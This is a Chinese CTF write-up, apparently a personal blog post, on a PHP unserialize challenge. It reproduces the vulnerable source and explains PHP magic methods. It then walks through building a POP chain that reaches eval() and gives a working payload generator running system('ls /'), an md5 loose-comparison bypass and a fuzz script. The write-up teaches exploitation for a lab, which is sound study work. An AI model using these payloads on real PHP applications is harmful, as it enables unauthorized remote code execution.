花还会重新开,不同的春来了又来。
- 2025.4.11
0x01 声明
仅作为个人学习使用,仅供参考,欢迎交流
可能是新生赛缘故,突发奇想,想好好梳理此题,顺便写成参考,于是有了这篇文章
当然很多理解可能不够到位,还请见谅
此外,本人所有博客始终贯彻原创与开源原则,若访问文章显示付费,请及时私信
不排除平台会自动设置付费的可能,本人会第一时间关注并处理
0x02 源码
源码如下,只对传参逻辑进行少许修改其余保持不变,顺手写成dockerfile,开启容器
<?phpclass AAA
{public $aear;public $string;public function __construct($a){$this->aear = $a;}function __destruct(){echo $this->aear;}public function __toString() {$new = $this->string;return $new();}
}class BBB
{private $pop;public function __construct($string){$this->pop = $string;}public function __get($value){$var = $this->$value;$var[$value]();}
}class DDD
{public $bag;public $magazine;public function __toString() {$length = @$this->bag->add(); return $length; }public function __set($arg1, $arg2) {if ($this->magazine->tower) { echo "really??";}}
}class EEE
{public $d = array();public $e;public $f;public function __get($arg1){$this->d[$this->e] = 1; if ($this->d[] = 1) { echo 'nononononnnn!!!';} else {eval($this->f);}}
}class FFF
{protected $cookie;protected function delete(){return $this->cookie;}public function __call($func, $args) {echo 'hahahhhh';call_user_func([$this, $func . "haha"], $args);}
}class GGG
{public $green;public $book;public function __invoke(){if (md5(md5($this->book)) == 666) { return $this->green->pen;}}
}if (!isset($_POST['UP'])) {highlight_file(__FILE__);
} else {unserialize($_POST['UP']);
}?>
0x03 魔术方法
(下文会有讲解,此处作为参考)
0x04 构造POP链
AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
0x05 分析过程
第一步
构造利用链的第一步是确定链尾,即能够触发远程代码执行(RCE)的代码点
eval($this->f),具备执行代码的能力,锁定链尾
-> EEE::__get()
第二步
我们需要考虑如何触发 EEE
类中的 __get()
魔术方法
魔术方法 __get() 触发条件
当你访问一个不存在或不可访问(private 或 protected)的属性时,触发魔术方法 __get()
例如
class Demo {public $a = "public";private $b = "private";protected $c = "protected";public function __get($name) {return "__get() 被触发了:你访问了 $name";}
}$Demo = new Demo();echo $Demo->a; // ✅ 直接输出 public
echo $Demo->b; // ❗触发 __get("b")
echo $Demo->c; // ❗触发 __get("c")
echo $Demo->d; // ❗触发 __get("d"),d 不存在
echo $Demo->$value; 如果触发 __get($value)后,
会将 __get($value)方法的返回值 作为 $Demo->$value 的返回值。
访问echo $Demo->b;↓
PHP发现:b 是私有属性,不能访问↓
于是自动调用 __get("b")↓__get() 返回 "__get() 被触发了:你访问了 b"↓
这个值就被当作 $Demo->b 的值返回了!
因此输出:
public // public属性
__get() 被触发了:b // private属性
__get() 被触发了:c // protected属性
__get() 被触发了:d // 不存在的属性
回归正题
了解触发条件后,我们发现
如果 $this->green 是 EEE类 的一个对象,
↓
由于 GGG类 中根本不存在 pen 属性,自然无法访问到 pen;
↓
那么 $this->green->pen; 就会触发 EEE::__get()
因此
-> GGG::__invoke() -> EEE::__get()
第三步
我们需要考虑如何触发 GGG
类中的 __invoke()
魔术方法
魔术方法 invoke() 触发条件
当对象被当作函数调用时,触发魔术方法 __invoke()
例如
class Demo {public function __invoke($name) {return "__invoke() 被触发了:你传入了 $name";}
}$Demo = new Demo();echo $Demo("Hello"); // ❗触发 __invoke("Hello")
$Demo("Hello")
↓
$Demo 是 Demo类的一个对象,$obj()即把对象当成函数调用
↓
PHP一看:你居然让对象执行函数调用动作
↓
调用 $Demo->__invoke("Hello");
↓
最终输出就是 __invoke() 的返回值,即 return "__invoke() 被触发了:你传入了 $name";
↓
此时 $name = "Hello"
回归正题
如果 $this->string是 GGG类 的一个对象
↓
$new = $this->string; 将 $new 赋值为 GGG 的对象;
↓
return $this->string();将$GGG的对象当做函数调用;
↓
触发 GGG::__invoke();
因此
-> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
第四步
我们需要考虑如何触发 AAA
类中的 __toString()
魔术方法
魔术方法 __toString() 触发条件
当对一个对象执行 echo
、print
、字符串拼接
等操作,触发魔术方法 __toString()
例如
class Demo {public function __toString() {return "__toString() 被触发了!\n";}
}$Demo = new Demo();// 用 echo 输出对象
echo $Demo; // 用 print 输出对象
print $Demo; // 把对象拼接到字符串中
$text = "这是一个对象:$Demo";
echo $text;
输出
__toString() 被触发了! // 执行 echo 操作
__toString() 被触发了! // 执行 print 操作
这是一个对象:__toString() 被触发了! // 执行 字符串拼接
回归正题
如果 $this->aear 是AAA的一个对象
↓
echo $this->aear 触发 AAA的__toString()方法
↓
AAA::__toString()
因此
AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
第五步
我们需要考虑如何触发 AAA
类中的 __destruct()
魔术方法
魔术方法 __destruct() 触发条件
析构函数会在 当某个对象的所有引用都被删除或者当对象被显式销毁时 执行。
换句话说,
只要你 new
创建一个对象,当它“不再使用”或“被清理掉”,PHP 就会自动帮你调用 __destruct()
做一些“结束前的收尾工作”。
例如
class Demo {public function __destruct() {echo "__destruct() 被触发了!\n";}
}$Demo = new Demo();
输出
__destruct() 被触发了!
回归正题,由于__destruct()
特殊的触发条件或者说根本不需要什么条件,我们的POP链也就构造成功了。
除此以外,还需要了解__construct()
触发方式
魔术方法 __construct() 触发条件
当你使用 new
创建一个对象时,PHP 会自动调用这个类的 __construct()
方法,触发条件非常简单直接
class Demo {public function __construct($name) {echo "你好,$name\n";}
}$Demo = new Demo("橙橙"); // 触发 __construct("橙橙")
输出
你好,橙橙
__construct() 可以有参数:
// 如果构造函数有参数 + 没有默认值,你不传入参数值就会报错class Demo {public function __construct($name) {echo "你好,$name\n";}
}$Demo = new Demo(); // ❌ 错误:缺少参数
$Demo = new Demo(1); // ✅ 成功,输出:你好,1// Fatal error: Uncaught ArgumentCountError: Too few arguments to function Demo::__construct(), 0 passed...
// 创建 Demo 类的对象时,没有传递构造函数需要的参数,但构造函数 (__construct) 没有默认值,导致 PHP 无法执行对象的初始化。
0x06 构造Payload
构造 Payload 需要本地PHP环境,请参考之前文章
https://blog.csdn.net/2301_80877061/article/details/144911396?spm=1001.2014.3001.5502
https://blog.csdn.net/2301_80877061/article/details/145059231?spm=1001.2014.3001.5502
或者自行查阅教程
根据POP链和以上分析,开始构造Payload
AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
// POP链起点在AAA类,创建 AAA类对象
// 触发construct($a)要求传入参数 $a,赋值 1 给 aear,后续值能够覆盖$AAA = new AAA(1); // 触发 AAA::__destruct()
$AAA->aear=$AAA; // 触发 AAA::__toString(),覆盖 aear值
$AAA->string=new GGG(); // 触发 GGG::__invoke()$AAA->string->book=213; // 绕过点1
$AAA->string->green=new EEE(); // 触发 EEE::__get()$AAA->string->green->d=1; // 绕过点2
$AAA->string->green->f="system('ls /');"; // POP链尾,RCEecho serialize($AAA);
// echo urlencode(serialize($AAA));
Payload
<?phpclass AAA
{public $aear;public $string;// public function __construct($a)// {// $this->aear = $a;// }// function __destruct()// {// echo $this->aear;// }// public function __toString() // {// $new = $this->string;// return $new();// }
}class BBB
{private $pop;// public function __construct($string)// {// $this->pop = $string;// }// public function __get($value)// {// $var = $this->$value;// $var[$value]();// }
}class DDD
{public $bag;public $magazine;// public function __toString() // {// $length = @$this->bag->add(); // return $length; // }// public function __set($arg1, $arg2) // {// if ($this->magazine->tower) { // echo "really??";// }// }
}class EEE
{public $d = array();public $e;public $f;// public function __get($arg1)// {// $this->d[$this->e] = 1; // if ($this->d[] = 1) { // echo 'nononononnnn!!!';// } else {// eval($this->f);// }// }
}class FFF
{protected $cookie;// protected function delete()// {// return $this->cookie;// }// public function __call($func, $args) // {// echo 'hahahhhh';// call_user_func([$this, $func . "haha"], $args);// }
}class GGG
{public $green;public $book;// public function __invoke()// {// if (md5(md5($this->book)) == 666) { // return $this->green->pen;// }// }
}$AAA = new AAA(1);
$AAA->aear=$AAA;
$AAA->string=new GGG();$AAA->string->book=213;
$AAA->string->green=new EEE();$AAA->string->green->d=1;
$AAA->string->green->f="system('ls /');";echo serialize($AAA);
// echo urlencode(serialize($AAA));
?>
Hackbar 在执行表单提交时,不排除会对Payload进行二次编码的可能
所以Urlencode后我一般用Bp提交
绕过点1
$AAA->string->book=213; // 绕过点1
为什么 213 能够绕过呢,== 注意是PHP的弱类型比较
if (md5(md5($this->book)) == 666)
<?php
echo md5(213). "\n";
echo md5(md5(213));
?>// 979d472a84804b9f647bc185a877a8b5 字符串类型
// 666ca9a2be31fd949cb9b55686caef9a 字符串类型
PHP 进行 弱类型比较,在比较时尝试将 字符串 转换为数字,会从字符串的开头部分提取数字作为比较值
字符串是以数字开头,PHP 会将其转化为该数字,直到遇到非数字字符停止例如
'a' -> 0
'1a' -> 1
'123a' -> 123因此
'666ca9a2be31fd949cb9b55686caef9a' -> 666
'666ca9a2be31fd949cb9b55686caef9a' == 666 成立,true
Fuzz脚本:两次md5加密后,前三位为666且第四位为字母
import hashlibdef find_md5():i = 0res = []while len(res) < 5:# 原始输入orig = str(i)# 第一次md5加密fmd5 = hashlib.md5(orig.encode()).hexdigest()# 第二次md5加密smd5 = hashlib.md5(fmd5.encode()).hexdigest()# 检查是否符合条件:前三位是'666',第四位是字母if smd5[:3] == '666' and smd5[3].isalpha():res.append((orig, smd5))i += 1return res# 获取符合条件的五个实例及其原始输入
result = find_md5()# 打印结果
for orig, smd5 in result:print(f"原始输入: {orig}, 加密结果: {smd5}")
绕过点2
$AAA->string->green->d=1; // 绕过点2
public $d = array(); // $d 被声明为数组
$this->d[$this->e] = 1; // 将 $this->e 的值作为键,向 $this->d 数组中添加一个元素,值为 1
if ($this->d[] = 1){// code...
}// $this->d[] = 1 向数组的末尾赋值1并返回 1 -> if(1)为true -> 条件判断恒成立
举个例子
<?php$Demo = array(); // 定义一个空数组$a = '1';
$Demo[$a]=1;if ($Demo[] = 1) {echo "true\n"; // true,条件判断成立
}print_r($Demo) ?>
(可以发现,这里键名延续,若键名不为整数类型,则从0递增)这不是重点
重点是 if ($this->d[] = 1)
恒成立,应该怎么绕过呢?
覆盖 $d 的值,使其不为一个数组
从而导致 $this->d[] = 1 操作报错或不按预期执行,绕过恒成立的条件判断。例如:
$AAA->string->green->d = 1; // 数字
$AAA->string->green->d = '1'; // 字符串
$AAA->string->green->d = NULL; // NULL
$AAA->string->green->d = NAN; // 设置为 NaN
0x07 End
至此,反序列化的分析已全部结束
如有错误或者理解不够到位的地方,还请指正,感谢各位的耐心和支持!